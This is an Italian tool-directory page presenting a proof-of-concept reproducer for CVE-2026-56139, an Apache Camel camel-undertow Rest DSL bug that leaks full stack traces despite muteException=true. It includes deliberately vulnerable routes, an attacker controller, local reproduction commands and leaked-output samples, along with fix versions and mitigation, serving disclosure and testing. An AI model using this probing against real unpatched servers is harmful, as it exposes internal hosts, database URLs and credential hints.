Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-56139 — PoC riproduttore per CVE-2026-56139 (Apache Camel camel-undertow Rest DSL): il binding Rest DSL hard-codifica muteException=false, quindi un muteException=true configurato viene ignorato e l'intero stack trace di un'eccezione non catturata viene restituito al client (CWE-209). Corretto in 4.14.8/4.18.3/4.21.0. | Kitploit
Strumenti/GitHubGitHub/oscerd/cve-2026-56139
Analisi delle VulnerabilitàExploitRaccolta InformazioniSicurezza WebPenetration TestingApprendimento e Formazione
GitHuboscerd/cve-2026-56139

CVE-2026-56139

Vedi Repository
1 mese faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →

Informazioni

PoC riproduttore per CVE-2026-56139 (Apache Camel camel-undertow Rest DSL): il binding Rest DSL hard-codifica muteException=false, quindi un muteException=true configurato viene ignorato e l'intero stack trace di un'eccezione non catturata viene restituito al client (CWE-209). Corretto in 4.14.8/4.18.3/4.21.0.

Condividi

Riproduttore della divulgazione dello stack-trace di muteException in camel-undertow Rest DSL (CVE-2026-56139)

Questo progetto dimostra un problema di divulgazione di informazioni nel consumer Rest DSL di camel-undertow di Apache Camel, tracciato come CVE-2026-56139. L'opzione muteException controlla se il dettaglio di un'eccezione di elaborazione non catturata viene restituito al client HTTP. Su un endpoint undertow semplice l'opzione funziona — ma la Rest DSL di undertow crea il proprio binding di risposta con muteException hard-coded a false e non copia mai il valore configurato, quindi muteException viene silenziosamente ignorato in modalità REST e l'intero stack-trace Java viene comunque restituito:

root@kitploit:~
// UndertowComponent (affected 4.18.2) — the Rest DSL binding is created without the endpoint's muteException
if (!map.containsKey("undertowHttpBinding")) {
    endpoint.setUndertowHttpBinding(new RestUndertowHttpBinding(endpoint.isUseStreaming()));  // muteException stays false
}

Poiché undertowHttpBinding dell'endpoint ora non è null, UndertowEndpoint.getUndertowHttpBinding() restituisce quel binding Rest così com'è e non esegue mai il ramo che copia su di esso muteException dell'endpoint. Quindi una route che imposta esplicitamente muteException=true continua a far trapelare gli stack-trace quando viene servita tramite la Rest DSL — divulgando hostname interni del backend, URL di database, indizi su credenziali/vault, versioni delle librerie e posizioni del codice sorgente.

Questa PoC dimostra l'impatto come esposizione di informazioni tramite un messaggio di errore (CWE-209). È la controparte specifica della Rest DSL di CVE-2026-49365 (che ha corretto il default di muteException per gli endpoint semplici camel-netty-http e camel-undertow); entrambe sono state corrette insieme con CAMEL-23651.

Advisory: https://camel.apache.org/security/CVE-2026-56139.html

Riepilogo della vulnerabilità

La correzione fa sì che il percorso Rest DSL copi endpoint.getMuteException() in RestUndertowHttpBinding, quindi la Rest DSL rispetta l'impostazione (e il default corretto di true).

Le route vittima

root@kitploit:~
// Both configured with muteException=true (camel.component.undertow.mute-exception=true):
restConfiguration().component("undertow").host("0.0.0.0").port(8888);
rest("/api").get("/orders").to("direct:boom");            // Rest DSL — IGNORES muteException, leaks
from("direct:boom").process(new FailingProcessor());

from("undertow:http://0.0.0.0:8889/plain/orders")         // plain endpoint — HONOURS muteException, empty body
    .process(new FailingProcessor());

Struttura del repository

root@kitploit:~
CVE-2026-56139/
├── pom.xml                 # camel-undertow 4.18.2
├── Dockerfile
├── docker-compose.yml      # single self-contained service
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── FailingProcessor.java   # throws an exception carrying sensitive internal detail
    │   ├── RestRoutes.java         # undertow Rest DSL (:8888) + plain undertow endpoint (:8889)
    │   └── ExploitController.java  # attacker: GETs both, shows Rest DSL leaks while plain is muted
    └── resources/
        └── application.properties  # camel.component.undertow.mute-exception=true

Prerequisiti

  • Docker e Docker Compose
  • Java 17+ e Maven 3.8+

Passaggi per la riproduzione

root@kitploit:~
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down

Output atteso (abbreviato)

root@kitploit:~
1) undertow Rest DSL :8888  (muteException=true, but the Rest binding hard-codes false)
     HTTP 500
     response body (NNNN bytes) — LEAKS internal detail:
       | java.lang.IllegalStateException: Inventory lookup failed: cannot connect to
       |   jdbc:postgresql://prod-db.internal:5432/inventory (user=svc_inventory, ...)
       | 	at com.example.FailingProcessor.process(FailingProcessor.java:...)
       | 	...[truncated]

2) plain undertow endpoint :8889  (same muteException=true — honoured)
     HTTP 500
     response body: <empty>

>>> Information disclosure: true

Correzione consigliata

Esegui l'upgrade a 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23651). Dopo l'upgrade, la Rest DSL di undertow rispetta muteException (e la imposta di default a true), quindi lo stack-trace non viene restituito.

Mitigazione

Fino all'upgrade, aggiungi un onException(...).handled(true) (o un gestore di errori globale) che restituisca un messaggio generico invece dello stack-trace, e non fare affidamento sul solo muteException per i consumer della Rest DSL di undertow.

Disclaimer

Questo riproduttore è fornito solo per ricerca sulla sicurezza e test autorizzati, per una vulnerabilità pubblicamente divulgata e corretta. Non utilizzarlo contro sistemi senza esplicita autorizzazione.

Scarica lo strumento
ProprietàValore
Componentecamel-undertow (consumer Rest DSL)
Classe interessataorg.apache.camel.component.undertow.UndertowComponent — crea RestUndertowHttpBinding senza copiare muteException (che quindi di default è false)
CWECWE-209 (Generazione di un messaggio di errore contenente informazioni sensibili)
ImpattoIntero stack-trace Java restituito a un client non autenticato anche quando è configurato muteException=true
PrerequisitiUn consumer undertow Rest DSL; qualsiasi richiesta che innesca un'eccezione di elaborazione
Versioni interessateDalla 4.0.0 alla 4.14.8 (esclusa), dalla 4.15.0 alla 4.18.3 (esclusa), dalla 4.19.0 alla 4.21.0 (esclusa)
Versioni corrette4.14.8, 4.18.3, 4.21.0
JIRACAMEL-23651 (PR apache/camel#23913)
CreditiYu Bao (PayPal)